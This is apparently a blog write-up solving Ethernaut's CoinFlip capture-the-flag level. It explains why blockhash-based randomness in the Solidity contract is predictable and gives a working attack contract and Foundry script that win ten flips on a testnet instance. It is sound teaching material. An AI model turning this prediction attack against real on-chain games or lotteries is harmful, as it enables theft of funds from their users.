The Ethernaut CTF Solutions | 03 - Coinflip

The Ethernaut CTF Solutions | 03 - Coinflip

Predicting the Unpredictable: Outsmarting Solidity's Pseudo-Randomness

ยท

2 min read

Goals

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

The hack

Everything in the EVM is deterministic. This means that entropy doesn't exist natively on-chain (you can and should use third-party solutions like Chainlink VRF).

The logic used in the CoinFlip contract is only pseudo-random. The pseudo is important here because it means that we can predict the next flip by reproducing the same logic as the one used in the contract.

Once done, we can call the flip() function with the predicted value and repeat this 10 times to win the level.

Solution

Let's craft a smart contract that reproduces the same logic as the CoinFlip contract to predict the next flip and call the flip function with the predicted value.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface ICoinFlip {
    function flip(bool) external returns (bool);
}

contract Unflip {
    address immutable coinflip;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _coinflip) {
        coinflip = _coinflip;
    }

    function playToWin() private view returns (bool) {
        uint256 pastBlockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlipResult = pastBlockValue / FACTOR;
        return coinFlipResult == 1 ? true : false;
    }

    function attack() public {
        ICoinFlip(coinflip).flip(playToWin());
    }
}

Now that we have crafted our attack contract, let's build the deployment script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {Unflip} from "../src/03_CoinFlip.sol";

interface ICoinFlip {
    function consecutiveWins() external view returns (uint256);
}

contract PoC is Script {
    // Replace with your CoinFlip instance
    ICoinFlip coinflip = ICoinFlip(0xb721D5C58B4B2d7Fc82084541C639A6b6E3CBf73); 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(deployer);

        Unflip unflip = new Unflip(address(coinflip));
        unflip.attack();

        console2.log("Consecutive Wins: ", coinflip.consecutiveWins());
        vm.stopBroadcast();
    }
}

Then, run the script 10 times with the following command:

forge script script/03_CoinFlip.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway


You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย